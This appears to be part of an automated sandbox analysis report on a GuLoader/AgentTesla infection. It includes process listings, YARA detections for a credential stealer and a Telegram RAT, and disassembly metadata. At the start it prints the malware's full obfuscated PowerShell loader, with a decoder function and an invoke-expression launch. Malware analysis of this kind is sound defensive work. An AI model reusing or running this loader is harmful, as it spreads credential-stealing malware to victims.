St'unEAlDToBPrFEnAOp8ViBviBAn9So6RaBFlFElAMe8BaEAr9EfFSm4BaEMi9Bi9Am2Ub9slAUdBMa0MeBKiAInBLiDMeARoCSuAUn4pjESt7Dr9fiBUdBSqCReAPr7GrBInDCaATr0NaAby4FrAudCHyEDo7Mi8Fo0beAHo7ReBBoDCoAFjCInBDoBReAEl6BoBPe9Vi9SuAFoANoCXyBFnBBlBMeFveAfe0OuALeASlAdeCKaBTjAChEDa7Ha8No4KoAOp8HoBAlBGaBAlAfoASe1SkAPr8MiAZy5Ap9Dr4RuFKl3HjFRo3Cz8WiEkuAMeCSkBTwDRi8SpDDeAAgCPsAGa5ClABeCRiADeEIsAKa8LaBLiDSlAKnCPr8PoFPjANa6PrBStBCi8SmFBaBNaCSaAfr7InAAdASpBTvDApAKl0DoAIn6GeAHe7Na9Sp9NoAJo6FoABo0TrARa7KlBOlDTrASpCXiBFaBKiEin1SoEKn1brACaFDeAPh2UnBDa9CaEDe9ChESeDTaASt2SuAVa2AlEMa9TeEBeDCa8WaDOpATiCElASt4UnAaf8GsAApEMiAsk7EgAFiCSpBQuDFoAPr0SpBDe3HeATi8UsAOfBPaASa5ShAreCGlFSuDKoEOm0stERe5heEGl9chECa1Hy8NoEFo8AnDSl9SeDFeEEx9Sk8Ma9suESu1Pi9St2Sc8Fl0ReATo7FlBLbDRe9st9MiBArDdeBKrBBi9As4OrESt5AfESp9Ga9Ty2Kl9PrCPe8Ro0InANo7FrBAaDUvFArAMiFMoBSp9Ro4CoEPe5UdESe9Tr9Me2Sk9SlCru8Ek0BeAFi7FlBflDVeFHoASiFEmBOv9Ax4urEDu5PaEmu9Un9Om2Pr9LiCSk8Ar0SmALu7UnBCoDimFSpANoFCyBBr9Fl4MeEUn0MoEPa9LaEBe1Va9Pr2De8Re0CuASk7PrBEuDas9Sk9SgBGrDSkBWiBFo9Do4HaEIn0PuEAd0BaELa0Pr'Re;Su&At(Te`$AfDFueUdmSaaStgFrnBaeArtLaiStzSnaAgbFllHoeSv7To)In Sy`$UnAFadSlsLocudrUniPrpObtTiiGetUniCruZosRu6Pr;Fo`$ChvFoaefrKl_SmnRutUn Be=Ud VaftokAppSk Sk`$BrDPreGemDiaIngStnUneHotBaiHezKeaEmbaflbeeth5re Be`$OcDLaeFimRaaRugLanTeeKntPoiBezHraGabPolSjeSl6sa;Fo`$IdAMidVesTocInrMoiLapSwtPliEktOpiReuPasFr7Ba He=No PrHUpTPrBOr Ob'BeEMaDFu8Pe8seBNiBPrBFeDCyAKnCSeASyFCrADe8GeANe2syBPeDKiAFlCefBSeBFaFGuABiEAr9spFHu4DeESt9FiESsDFlBReFHaAre8ouBHuBPa9Di6BlBSeFUnAre8BiEHo7Fa8Ri0MeATi7miBDeFKoAKu6JaAst2teAInCTiEAn1An9Op2Ak8Hi0KlARe7AfBDeDLa9My9DoBStDReBPrBPr9Dy4reFTr3KaFEd3ri9Co3RiAViCKaBAsBHaAEk6OrEMi5UnEUd9tiFUkAMoFBlFTeFTrFToEKo5UnESa9RaFCe9NoBBo1RiFEsAGiFBr9BlFFo9TnFHa9MaEMa5PaEJa9GrFPe9FrBUn1trFLaDOvFKe9SkESv0Ov'Ap;In&Om(pa`$PeDSleWemcaacigPunLoeFatNeiDezHeaPabFrlWiebl7Ve)Ac Py`$MaARedPospicSkrM iTipTytObiamtoniSkuTesan7Pr;Su`$BiACodPrsBocKirusiIcpDetSliPetLyiteuPesEf8Un Po=Tr FrHphTNaBDy Ti'ErEGrDcoAAc6fjBKaBEnABe0UnERa9ChFSp4SmEFl9SuETeDCoBafFIcADu8BlBRaBFr9Sv6KlBFiFJuASi8FoEPa7Cl8Pe0MiAKo7raBVaFdiAMa6NaASp2ArASpCgaEbr1Ap9Re2At8Ku0CaASp7BlBKuDLa9Im9MaBBoDPhBGwBRe9em4caFSt3PoFov3br9st3VoAUnCJeBmaBEsAAc6CoECl5UnEOo9MiFBa9KeBDe1BuFHj8SmFSk9DeFUn9foFCa9HuFAl9KoFEn9EgESo5BaEDe9UnFTa9JaBCl1AkFPrATeFFi9TeFPi9NoFBu9opENs5BoELe9EuFBa9TaBEn1KrFToDTrELi0Ti'Sk;Pe&Ln(in`$PrDQueKemKraDrgOpnReeUntWhiblzKraUrbKllDaeAr7Os)Re La`$luAgldNosAncHorUniSopNitEpiCotFsiaruUlsHy8Ha;Bu`$FosBspCaiOvlafdTeenuvDdaAnnOpdJosDrpPerFloKojDheTekAptFleSerMy=By(chGFoeTatda-DoIOrtBeeBomUdPGrrsaoSppDiestrBetPhyCe An-DePSpaJatSlhSt Un'GaHAaKEfCStUPa:Ud\FlKOpyHaseahTaaViaManbodleearnSt\MidCouRemMepNoeCotDesSu'Vi)Br.SklBeaLoyPnldraJasca;Va`$KoAGedAdsStcInrIniSepGrtheiTitFuifeuRasSp9Sa De=Ch UnHLyTInBFl Ve'NaEGrDPr8Gr8ReACyDGaBCaAAcAUnAFoBStBPrAkl0AlBBa9CaBImDPaARe0NuBKoDPaAOt0UnBToCPrBAbASeEEn9riFCl4EmEbl9Fo9Ne2De9TrASkBSt0TaBbiAChBCoDSpAMeCIdAAn4PhEBe7Dd8TeAPaALo6SpAGr7ReBHiFCaALeCSeBDeBSkBGoDBe9Li4EmFHy3rgFUn3Ar8VeFNoBFiBenAin6DiAAa4Br8UnBFiApi8YvBAfABaAHeCSuFGrFFaFBaDin9VaAUnBCoDToBOvBInALa0LrAAc7mbATrEStECo1SaEMaDBlBUdAFaBBe9CoASk0NeABa5anANaDCaALeCJeBIdFAkATi8YdATa7DeAbaDUnBFoAEpBMi9ChBTrBSvACa6SvAPh3AgASyCJoAre2RuBvaDMiAUnCKeBInBJoESt0co'Co;Sa&Re(Fo`$ImDbeeUdmSaaOugUdnMyeDetSaiDizLiaMebGelKoeOv7In)Le Su`$CaABedcrsFrcBaririSypDitLaiKetAdiAnuEpsSi9Am;De`$TesAgpreiOplisdCheKlvLeaDenLadkosprpInrFdouljSkebukMatsheRurNo0St Sp=Ge JoHToTDeBMo Re'Pr9Co2Ko9CiArhBLi0chBSnATiBevDNeAPoCBaAAn4heESl7Ri9TyBUnBCeCEnAMo7PoBPaDFeATr0StABe4stAStCExEbu7is8Ch0GeAWa7SkBAlDReAInCInBMaBcoADe6MoBSi9Ad9HjANeAUdCReBFiBAlBUnFKkADe0ReAVaATiAOvCSuBEuAAsESp7Hy8Af4MeARe8InBTvBLnBSuAPrANo1PaASi8UdATo5De9Al4UlFDr3UnFFo3Bu8ReARaAJo6FrBNi9kaBpo0HaETh1FrETwDSs8se8PaAAlDPaBWaAVoAPsAFnBDeBteASl0VeBFo9SuBBrDHyATo0koBEgDdeAHe0olBGlCPaBboAHaEEr5PoEVn9SeFLu9TeEuf5GlEDe9RuEbn9PaESlDMt8Di8JuBAmBteBimDItAVeCArABiFUsAHy8UdARd2MeBLlDtrATiCanBSaBBiFKuAHaEGo5PaEOu9StFSkAHyFLiFVaFCoFBlEEn0Xe'Er;Ma&Af(Ly`$scDCoeFrmGaaThgChnTreTjtPyiDizImaEpbTilSaeTa7Um)Ra Ta`$PosLapUniAnlEcdtreTrvdeaPonSadSasnypCorBooRejFoeSakVotdieSvrSn0Li;ph`$FasTyiSpzvaePa=Ha`$GeAOvdbrsEqcAprstiPapQutHuiLitSyiUnuWrsPa.AncInoBeutenUntAv-Ou3Di6Si6Ty;Af`$BesMepMyiSylSadJdePevMeaAsnSydSpsSlpPirGroEwjHyeSukEntNeeRhrSa1Kr Le=ne HyHHaTInBSa Un'No9Pe2St9FlAGeBIm0PuBStAbeBBeDTrACoCTrASe4ReESa7Sa9SpBmoBGlCEfASa7TfBDuDKoAAf0miASc4TiAofCMoEOr7Pa8Ig0NoALe7FiBTuDDeAJaCBoBChBMaAFi6GrBPr9Ch9SwAJeAImCHaBSaBOrBGrFFoAPr0KnASiAPrAHaCudBGeAVeEEl7Ed8Cl4biAFr8NeBOdBRaBDeAGlACr1TrAGa8PsAPa5Gi9Ze4NoFBl3auFFo3Mo8KiAorAAf6NeBKr9TaBDy0TiEUd1DiENiDbr8Ga8KaAPaDBhBEnASkATyABgBVeBuoAAb0AbBDo9FoBSyDDiARe0BaBBoDWaAst0VuBSuCTaBTyAImEFo5skEFl9FeFPlAWiFInFklFKrFViENe5VaEsv9HoESuDEvASp6tiBMiBKaAKl0BaEBa5kvERi9SmESvDStBHaAChABa0CoBFl3SyACoCRmEPs0Ir'vi;No&Re(Di`$PaDUdeRamPraAvgpenAneAmtSyiSezSoaSvbSalfieDe7Ov)Sm Ko`$MusBrpDyijulDedMieovvJoaCanPhdAtsOrpFrrPaoFojNoePrkBotSoeKarHe1Bv;Ca`$AgsRopGriJulPodBreAfvRoaUdnSydChsStpFerAnoCijWeeStkAntWieRerTo2Un Ro=Sa MoHVeTFoBan la'inESaDPlBPjFMoARa8MiBUgBno9Fl6guBTjBOpBAmCAnACy7PeASy4PuAShCOpETi9CeFCo4ExEDe9Fa9Un2un9ToAPaBTe0LiBEmASaBcrDPrACuCSoAFo4HoEPo7Re9PeBzyBBoCJeAka7HoBPrDJuAAn0CuAdi4PaAgeCraEwo7Di8Fa0ReASe7StBAnDOvAGlCAfBInBObAor6UnBLy9No9KaASaAOpCDiBInBAbBTrFToATy0BeAspAFlAArCskBInAWiEBr7Ba8Yd4YaABu8UdBSkBVaBfoATeAHo1AbAFo8FaAMa5Jo9Wh4WeFMi3heFFo3Re8CrESkAInCRaBHoDGr8TaDAnAViCkrAPr5ReAEfCFiATaEAlAAp8beBprDChAHaCPe8klFUdALi6GeBStBFo8gaFSuBShCafALr7AtATrASlBBaDHaAAn0SoAbr6TyAFl7Uk9Fr9FoABr6BuAPr0PoAHe7doBDoDanAMoCCrBAfBPaECh1PaEapDPr8gr8HjBDvBAaBLoDSuASkCSfAFlFHiASv8DiADd2inBSuDMaASeCCeBhuBYdFFiAunEBr5StEVe9CiENe1Ud8PhESa8InDOr9NaDBaELi9Ko8An9UnEIn1Ka9Ce2Re8Pl0ErACr7OmBSmDhy9No9HeBIdDCoBBeBUn9Ca4veELe5Or9Ps2Be8St0CaAMa7TjBUpDBl9Ud9KaBMyDLuBArBRe9do4SyEBi0SeEGr9FrEAn1Pr9Op2Un9CiFPoAEx6MoALa0VaAVeDSp9Ch4ChEWh0ArEVa0BeEAn0En'Di;In&Ma(Li`$GeDCheEumOuaHvgLonNueUatFuiMizfjaKrbEtlOeeIn7Fo)In Ma`$FosDepGoiLalUndMieAmvWhaImnTydGesFipAnrDaoMojJaeUskOmtFaeHorso2Fi;Ou`$AnsNypOviSplTadKoeBlvReaInnSadSisOppAlrbrochjHoeStkSttmoeBerre3Pr Cu=Sa PhHFuTsiBpa Vo'ovEBiDHyBPuFwiASt8PeBkuBIn9Bo6VeBStBUnBKvCDiAUn7NaAGa4KoAFiCveEFa7Tr8Sm0UdAFl7HaBDeFHeATa6HyARa2EnASkCSaEEx1AdERoDMaADd6InBOpBSaANo0InEBr5TaEAdDInBHaFHaADi8AfBBaBce9No6RuASa7BuBUnDMoESu0Mu'Tr;Sw&Go(Se`$ReDHaeBemRoaPrgHenRoeSythuiLezPlaPabPjlHaeAa7No)Un ne`$ResStpHeiFulRedOteBrvHuaGonDedFesStpKvrIboDijSteFikFntReePlrSm3Ni#Bl;""";;Function spildevandsprojekter9 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Brndoffers = $Brndoffers + $HS.Substring($i, 1); } $Brndoffers;}$Chlorpikrin0 = spildevandsprojekter9 'AgIPaEBeXBa ';$Chlorpikrin2 = spildevandsprojekter9 'CosLatHuaCerRytRe-RejAfoYvbRi ';$Chlorpikrin1= spildevandsprojekter9 $Damspils;;if([IntPtr]::size -eq 8){.$env:windir\S64\WPower\v1.0\ll.exe $Chlorpikrin1 ;}else{&$Chlorpikrin0 $Chlorpikrin1;};;;
Imagebase:	0x6a0000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	11
Start time:	20:45:43
Start date:	28/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff773f10000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	12
Start time:	20:46:47
Start date:	28/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
Imagebase:	0x210000
File size:	108664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	13
Start time:	20:46:48
Start date:	28/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
Imagebase:	0x9f0000
File size:	108664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000D.00000000.3773940652.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Function 00007FFB044E50D1 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3099473979.00007FFB044E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb044e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43f4d49e9b50d936e509e8f702346dea2312851478d92484b71f653bb729f6ca
Instruction ID: 5bc70a7c5c4a7bd42dd9147825d919b8a279d39b14645de1b49498ffe1ab1f5a
Opcode Fuzzy Hash: 43f4d49e9b50d936e509e8f702346dea2312851478d92484b71f653bb729f6ca
Instruction Fuzzy Hash: 9C9104A190D7C69FE7569738D8E19E97FA0EF93228B0800FBD0CACB197DD2568068751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFB044E3535 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3099473979.00007FFB044E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb044e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 390b43d0d27606fcc6d81820381354590e1f2259c2c4aab3fcf2d16506637991
Instruction ID: e52848c5aec4dfaa625ecb5409aef690d48a96d81ce98781e41214fa2284f4fb
Opcode Fuzzy Hash: 390b43d0d27606fcc6d81820381354590e1f2259c2c4aab3fcf2d16506637991
Instruction Fuzzy Hash: 0201677111CB0C8FDB48EF0CE451AA5B7E0FB99324F54056DE58AC3655DA36E881CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFB044E524F Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3099473979.00007FFB044E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb044e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f066c1498d6048c08e7f96c9858a6fe890b77e60627ada7e0aa1494c5973c3c
Instruction ID: 7e49d7abf4f275765077a657091e1745a1ea62fca4c99c52e602d7617a86928a
Opcode Fuzzy Hash: 3f066c1498d6048c08e7f96c9858a6fe890b77e60627ada7e0aa1494c5973c3c
Instruction Fuzzy Hash: 93F0547271CB448FDB5CDA1CF44197973D1EBD5334F10062EF08BC2696DA26E8428B45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ieinstal.exePID: 1796, Parent PID: 6492COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03227991 Relevance: 1.5, APIs: 1, Instructions: 17
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32 ref: 0322799A

Memory Dump Source

Source File: 00000008.00000002.7398831870.0000000003200000.00000040.00000400.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3200000_ieinstal.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: a58ebafe973f8fd064ee379ab7daa94699e83ce3ddbd627f81db6235a6ea6b84
Instruction ID: 9f4ec6db4f9ca5857222a14e74dd4f5530dc47c0c4a5b5467f19ec053ab4ac8d
Opcode Fuzzy Hash: a58ebafe973f8fd064ee379ab7daa94699e83ce3ddbd627f81db6235a6ea6b84
Instruction Fuzzy Hash: BCD09E7871574B9BFF206D5A49B47CB157B7F85790E54912C9C454600C9B36C9458500

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 032279D3 Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.7398831870.0000000003200000.00000040.00000400.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3200000_ieinstal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c104ed8451962ec4df92cf538898cb9050dc6e42cc38f4ccc3a89b6dd9aa3f
Instruction ID: 5b9a5cd1b1ec430bd99f5d025bdf67834202b92334bca02ccad86b674232adfe
Opcode Fuzzy Hash: 43c104ed8451962ec4df92cf538898cb9050dc6e42cc38f4ccc3a89b6dd9aa3f
Instruction Fuzzy Hash: C1417979614313AFDF18992C89B53E737A79F61385F89C06EEC464B293EB21C8C6C601

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4508, Parent PID: 2468COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	145
Total number of Limit Nodes:	9

Executed Functions

Function 0751D164 Relevance: 1.6, APIs: 1, Instructions: 128
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 0751E668

Memory Dump Source

Source File: 0000000A.00000002.4253178838.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7510000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: 5e6410b525cb4681c67330d3f9468646b2e5a45727b46eb35ba24656545697e2
Instruction ID: a457553d4a5641d0ff9c4fc0f38b5b10bfdba8311ba3c5a54f5dd8c610b341fb
Opcode Fuzzy Hash: 5e6410b525cb4681c67330d3f9468646b2e5a45727b46eb35ba24656545697e2
Instruction Fuzzy Hash: D25105B1D01359AFDB14CFAAD884BDDBBF2BF48305F25812AE818AB250D7749880CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07526980 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE ref: 075269E7

Memory Dump Source

Source File: 0000000A.00000002.4253774339.0000000007520000.00000040.00000800.00020000.00000000.sdmp, Offset: 07520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7520000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1474a8bf6ade2768e961a771344935324d7c9f20a75a90894c4f6d6c2d4f43be
Instruction ID: 709497c6897fd9e53af231455bfc0505594834b17bf70a3fb13244d16c8ecc05
Opcode Fuzzy Hash: 1474a8bf6ade2768e961a771344935324d7c9f20a75a90894c4f6d6c2d4f43be
Instruction Fuzzy Hash: D911EDB5C0065A9BCB00DF9AD444ADEFBF4FF89324F14816AD918A7240C774AA44CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 07502A18 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 383f9d1305003ea4e55c0f164d3eeaee34a921dee55a9a754f8971e137e8bac8
Instruction ID: f0bf7994de789a59cd20c4977629b8a8fc8687f3aca866dc05a0e10063e3cd6b
Opcode Fuzzy Hash: 383f9d1305003ea4e55c0f164d3eeaee34a921dee55a9a754f8971e137e8bac8
Instruction Fuzzy Hash: BBC1A0312043158FC744EB38D8A1AAA73E3FFC4204B598DA9D60ACB755DF75AD0ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 07506C50 Relevance: 1.8, Strings: 1, Instructions: 502
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 0750717A

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: b49fbf9cdfe4223f66621f7f386e34d36dbae5b1b3e3ad8db911f3cb561b6b49
Instruction ID: 08a7395ca271bfadb4c8c77fe493bf4bc5e803d8f2ce9939261e0dabfe458e11
Opcode Fuzzy Hash: b49fbf9cdfe4223f66621f7f386e34d36dbae5b1b3e3ad8db911f3cb561b6b49
Instruction Fuzzy Hash: DE02BBB0B002169BDB04DF69C8946AEB7F2FF89304F14896AD506DB390DF759C0A8BD1

Uniqueness

Uniqueness Score: -1.00%

Function 07522709 Relevance: 1.7, APIs: 1, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.4253774339.0000000007520000.00000040.00000800.00020000.00000000.sdmp, Offset: 07520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7520000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ca3b2d4b02497b83905a034dadd7dc314367ff52aaedbf09edc241b3fff26da
Instruction ID: 02d58ef145e86d5e4f9bd6aa6017898ad125d7788db258f0968153e3d668613d
Opcode Fuzzy Hash: 0ca3b2d4b02497b83905a034dadd7dc314367ff52aaedbf09edc241b3fff26da
Instruction Fuzzy Hash: F0916CB0D043698FEB24DFA5C854BEDBBB5BF49304F1184AAD409AB280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0751E53C Relevance: 1.6, APIs: 1, Instructions: 130
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 0751E668

Memory Dump Source

Source File: 0000000A.00000002.4253178838.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7510000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: f7451d8ecf096e24babb317ce819ff6fc9a0d3c8071d3d74aa5470279c8ecd20
Instruction ID: a5e30f3046928211e0db63af76a17b5f1e19d45f2b609aa57d1efd8b33cdb9d2
Opcode Fuzzy Hash: f7451d8ecf096e24babb317ce819ff6fc9a0d3c8071d3d74aa5470279c8ecd20
Instruction Fuzzy Hash: E151F4B1D01359AFDB14CFAAD885BCEBBF2BF48315F25812AE818AB250D7745881CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07516A20 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.4253178838.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7510000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 42ed6865458f27541e4cbdac2c0a28bca2aaf4fd96b3442261ad78b933e440ef
Instruction ID: 29839e4e13fb8771121015ff02cc4e9ec4d324aec7a07d602b4a39724a1b77c9
Opcode Fuzzy Hash: 42ed6865458f27541e4cbdac2c0a28bca2aaf4fd96b3442261ad78b933e440ef
Instruction Fuzzy Hash: 8E41B0B1A042199FDB10DFA9D845BDEFBB5FF48314F048169E608AB381CB759940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 075228C8 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IdentifyCodeAuthzLevelW.ADVAPI32(?,?,?,00000000), ref: 075229DA

Memory Dump Source

Source File: 0000000A.00000002.4253774339.0000000007520000.00000040.00000800.00020000.00000000.sdmp, Offset: 07520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7520000_powershell.jbxd

Similarity

API ID: AuthzCodeIdentifyLevel
String ID:
API String ID: 1431151113-0
Opcode ID: 45c6a078e8baff68c526bf0fd778e8f17d71986ad3893f8c0c55b8eab7f3b51c
Instruction ID: a5c7c2015b02fbaa0a012422bf7c8569a945abd7668dd933477af90505735f59
Opcode Fuzzy Hash: 45c6a078e8baff68c526bf0fd778e8f17d71986ad3893f8c0c55b8eab7f3b51c
Instruction Fuzzy Hash: 544105B4C0126ACFEB24CF59C884BD9BBB4BB08314F1185EAD40DA7640DB705E89CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0750F900 Relevance: 1.6, Strings: 1, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 0750FCCE

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 18fabe5585a208d3c281ed3fca0f01e1d200e0ccfbc2144df85e837057b181c1
Instruction ID: 47000c80a7cd300b06d11f4128eea5e1108943153103e7fee33afeeade0bb5fd
Opcode Fuzzy Hash: 18fabe5585a208d3c281ed3fca0f01e1d200e0ccfbc2144df85e837057b181c1
Instruction Fuzzy Hash: F3E12875B00209CFCB54DF68C59499DB7F2FF88314B1589A9E9069B3A5DB31EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 075164EC Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,07516A3F,00000000,00000000,00000003,00000000,00000002), ref: 07516B4A

Memory Dump Source

Source File: 0000000A.00000002.4253178838.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7510000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 79dc0f24b08d4daba62429cb9a8011566bd732260bf6f142390691cdf887da31
Instruction ID: 3a003b45327ff213c97146ea1c24d4a840642df155649ac8eb4fa84c2a2e6dbd
Opcode Fuzzy Hash: 79dc0f24b08d4daba62429cb9a8011566bd732260bf6f142390691cdf887da31
Instruction Fuzzy Hash: 722137B5D0025AAFCB00CF9AD844ADEFBB4FF48320F04851AE919A7200C774A954CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 075265A0 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ComputeAccessTokenFromCodeAuthzLevel.ADVAPI32(?,?,?,?,?), ref: 0752661E

Memory Dump Source

Source File: 0000000A.00000002.4253774339.0000000007520000.00000040.00000800.00020000.00000000.sdmp, Offset: 07520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7520000_powershell.jbxd

Similarity

API ID: AccessAuthzCodeComputeFromLevelToken
String ID:
API String ID: 132034935-0
Opcode ID: 43fe7f505f2408d3cb18d042346ee581f78cc3f2d5315b8d0bbe885856fd5198
Instruction ID: 20def3277a7d09296f1160a4305ac276dcb8d8f46f0e3ee5ea691289f1ba1bcb
